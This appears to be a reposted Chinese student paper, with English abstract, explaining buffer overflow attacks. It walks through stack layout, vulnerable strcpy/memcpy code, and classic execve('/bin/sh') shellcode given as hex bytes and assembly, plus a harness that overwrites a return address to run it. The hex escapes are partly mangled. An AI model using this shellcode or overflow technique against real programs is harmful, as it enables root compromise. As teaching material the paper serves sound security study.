緩沖區溢出攻擊fiwiw_一定程度上能防范緩沖區溢出攻擊的措施有_vc緩沖區溢出攻擊例子

電腦雜談  發布時間:2017-02-07 12:30:44  來源:網絡整理

摘 要隨著Internet及相關信息技術的迅速發展,網上的電子商務呈現出極大的增長勢頭,但是投入的增多意味著風險也隨之而來,網絡安全問題成為各種網上活動需要考慮的頭等大事。本文重點探討一下緩沖區溢出對計算機系統造成的危害。因為幾十年來,緩沖區溢出一直引起許多嚴重的安全性問題。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)發布的忠告中關于緩沖區溢出漏洞占56.76%以上。本文首先解釋了緩沖區溢出的概念,從程序語言本身存在缺陷,不夠健壯的角度出發,對緩沖區溢出的原理進行了詳細的闡述;再次,通過一個會導致緩沖區溢出的程序代碼對緩沖區溢出攻擊的產生進行了實例分析,同時還對Unix操作系統下的緩沖區溢出攻擊進行了有針對性的分析,并總結出緩沖區溢出攻擊的類型;最后,結合緩沖區溢出攻擊的類型,從系統管理和軟件開發兩個角度提出了緩沖區溢出攻擊的防范策略。關鍵字:緩沖區溢出 攻擊

Abstract

With the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to consider.

At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.

緩沖區溢出攻擊fiwiw_vc緩沖區溢出攻擊例子_一定程度上能防范緩沖區溢出攻擊的措施有

Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.

This paper ysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking.

Key Words: buffer overflow attacking

一 緩沖區與出的概念及原理1.1何謂緩沖區溢出緩沖區是用戶為程序運行時在計算機中申請得的一段連續的內存,它保存了給定類型的數據。緩沖區溢出指的是一種常見且危害很大的系統攻擊手段,通過向程序的緩沖區寫入超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其他的指令,以達到攻擊的目的。1.2緩沖區溢出的原理從上面的緩沖區溢出概念可以看出,緩沖區溢出就是將一個超過緩沖區長度的字符串置入緩沖區的結果,這是由于程序設計語言的一些漏洞,如C/C++語言中,不對緩沖區、數組及指針進行邊界檢查,(strcpy()、strcat()、sprintf()、gets()等語句),在程序員也忽略對邊界進行檢查而向一個有限空間的緩沖區中置入過長的字符串可能會帶來兩種結果:一是過長的字符串覆蓋了相鄰的存儲單元,引起程序運行失敗,嚴重的可導致系統崩潰;另一種后果是利用這種漏洞可以執行任意指令,甚至可以取得系統特權,由此而引發多種攻擊方法。緩沖區溢出對系統的安全性帶來很大的威脅,比如向程序的有限空間的緩沖區中置入過長的字符串,造成緩沖區溢出,從而破壞程序的堆棧,使程序轉去執行其他的指令,如果這些指令是放在有Root權限的內存里,那么一旦這些指令得到了運行,入侵者就以Root的權限控制了系統,這也是我們所說的U2R(User to Root Attacks)攻擊。一定程度上能防范緩沖區溢出攻擊的措施有

一定程度上能防范緩沖區溢出攻擊的措施有_緩沖區溢出攻擊fiwiw_vc緩沖區溢出攻擊例子

例如在Unix系統中,使用一些精心編寫的程序,利用SUID程序(如FDFORMAT)中存在的緩沖區溢出錯誤就可以取得系統超級用戶權限,在Unix取得超級用戶權限就意味著黑客可以隨意控制系統。為了避免這種利用程序設計語言漏洞而對系統的惡意攻擊,我們必須要仔細分析緩沖區溢出攻擊的產生及類型,從而做出相應的防范策略。二 緩沖區溢出攻擊的分析2.1緩沖區溢出攻擊的產生C編程語言中,靜態變量分配在數據段中,動態變量分配在堆棧段中,C語言允許程序員在運行時在內存的兩個不同部分(堆棧和堆)中創建存儲器。通常,分配到堆的數據是那些malloc()或新建時獲得的數據,而分配到堆棧的數據一般包括非靜態的局部變量和所有按值傳遞的參數。大部分其它信息存儲在全局靜態存儲器中。一個程序在內存中通常分為程序段、數據段和堆棧三個部分。程序段里為程序的機器碼和只讀數據,這個段通常是只讀代碼,故禁止對程序段進行寫操作。數據段放的是程序中的靜態數據。存儲器主要分為三個部分,一是文本區域,即程序區,用來存儲程序指令,只讀屬性;二是數據區域,它的大可以由brk()系統調用來改變;三是堆棧,其特點是LIFO(last in, first out)。

當C程序調用函數的時候,首先將參數壓入堆棧,然后保存指令寄存器(IP)中的內容作為返回地址(RET),放入堆棧的是地址寄存器(FP),然后把當前的棧指針(SP)拷貝到FP,作為新的基地址,并為本地變量留出一定的空間,把SP減去適當的數值。計算機執行一條指令,并保留指向下一條指令的指針(IP)。當函數或過程被調用的時候,在堆棧中被保留下來的指令指針將被作為返回地址(RET)。執行完成后,RET替換IP,程序接著繼續執行本來的流程。這里有一個直觀的緩沖區溢出的例子:void function(char *str){char buffer[16];strcpy(buffer, str);}Void main(){int I;char buffer[128];for(I=0; I<127; I++)buffer[I]=A;buffer[127]=0;function(buffer);printf(“This is a test.”);}在函數function中,將一個128字節長度的字符串拷貝到只有16字節長的局部緩沖區中。在使用strcpy()函數前,沒有進行緩沖區邊界檢查,導致從buffer開始的256個字節都將被*str的內容A覆蓋,包括堆棧指針和返回地址,甚至*str都將被A覆蓋。

再看看堆棧的結構,由于棧式內存分配具有一條指令即可為子程序分配全部局部變量的存儲空間的特點,分配和去配的開銷極低,高級語言通常在堆棧上分配局部存儲空間。同時,堆棧也被用來存放子程序的返回地址。對C語言來說,調用函數的語句f(arg1,arg2,…,argn)被翻譯為如下指令:push argn…….push arg1push ncall f而函數的入口則翻譯為如下入口指令(在Intel X86上)pushl ebpmov esp,ebpsub esp,m #m為f的局部變量的空間大在Intel X86體系結構上,堆棧是從上向下生長的,因此調用以上函數時的堆棧結構如圖1所示:arg1……argnn返回地址ebp局部變量高地址低地址

圖1 堆棧例如,調用以下函數時Void f(char *src){ char dest[4]; memcpy(dest, src,12);}堆棧及變量的位置如圖2所示:srcl返回地址ebpdest[3]dest[2]dest[1]dest[0]高地址低地址圖2 堆棧及位置的變量圖從堆棧結構可以看到,當用精心準備好的地址改寫返回地址時,即可把控制流程引向自己的代碼。C2級操作系統提供了進程空間的隔離機制,因此,利用緩沖區溢出攻擊可以在別的進程上下文中執行自己的代碼,從而繞過操作系統的安全機制,下面是一個例子:Void main(){ char *str[2]={”/bin/sh”,0}; exec (“/bin/sh”,str,0);}編譯后反編譯,并加以整理,得到與以上程序等價的機器碼:“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00”“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”事例程序如下:/ test /char shellcode[]={“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00”“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”};void f(char *src){char dest[4];memcpy(dest,src,12);}void main(){int shellentry[3];shellentry[0]=(int)shellcode;shellentry[1]=(int)shellcode;shellentry[2]=(int)shellcode;f(shellentry);}由以上程序可以看出緩沖區溢出攻擊的關鍵:因為memcpy并不檢驗邊界,所以dest溢出時,使shellcode的地址覆蓋了子程序的返回地址,當子程序執行ret指令時,CPU的指令指針寄存器EIP指向shellcode,從而執行shellcode。

這里討論一個現實中的Unix環境下,利用緩沖區溢出的到一個Shell的行攻擊方法的實現。一定程度上能防范緩沖區溢出攻擊的措施有其中,S代表Shellcode,A代表填寫的返回地址,由于Shellcode在虛地址的高端,所以這個返回地址(32bit)一般不會含有零字節:(1) 啟動一個一個Shell的代碼——Shellcode的獲得通常的獲得方法是先用高級語言編寫同樣功能的程序,然后用調試工具抽取必須的二進制代碼。高級語言程序如下:shellcode.c#include<stdio.h>void main(){char *name[2];name[0]=”bin/sh”;name[1]=NULL;execve(name[0],name,NULL);exit(0);}把上述程序編譯之后,可以用gdb得到上面程序的匯編代碼及二進制代碼,適當優化后即可得到二進制的Shellcode。這里要解決的一個問題是,無論Shellcode被裝置到內存的什么位置,字符串“/bin/sh”的地址都可以得到。解決方法是在“/bin/sh”之前加一條CALL指令,這樣當CALL被執行時,“/bin/sh”的地址將被自動壓入堆棧,緊接著用一條popl指令即可獲得這個地址。

Shellcode的結構如下:(J代表JMP指令,C代表CALL指令,S代表啟動Shell的代碼,s代表串“/bin/sh”,A指向Shellcode的起始地址)。SCO Unix下的Shellcode的匯編代碼如下:Jmp 0x2a # 3 bytes # 跳到CALL指令處Popl %esi # 1 byte # 把由CALL指令壓入堆棧的串 # 地址送到esimovl %esi, 0x8(%esi) # 3 bytesmovb $0x0, 0x7(%esi) # 4 bytesmovl $0x0, 0xc(%esi) # 7 bytesmovl $0xb, %eax # 5 bytesmovl %esi, %ebx # 2 bytes # 執行execve(name[0],name,NULL);leal 0x8(%esi) , %ecx # 3 bytesleal 0xc(%esi) , %edx # 3 bytesint $0x80 # 2 bytes


本文來自電腦雜談,轉載請注明本文網址:
http://www.rtcsln.tw/a/jisuanjixue/article-31070-1.html

    發表評論  請自覺遵守互聯網相關的政策法規,嚴禁發布、暴力、反動的言論

    熱點圖片
    拼命載入中...
    黑龙江快乐十分开奖直播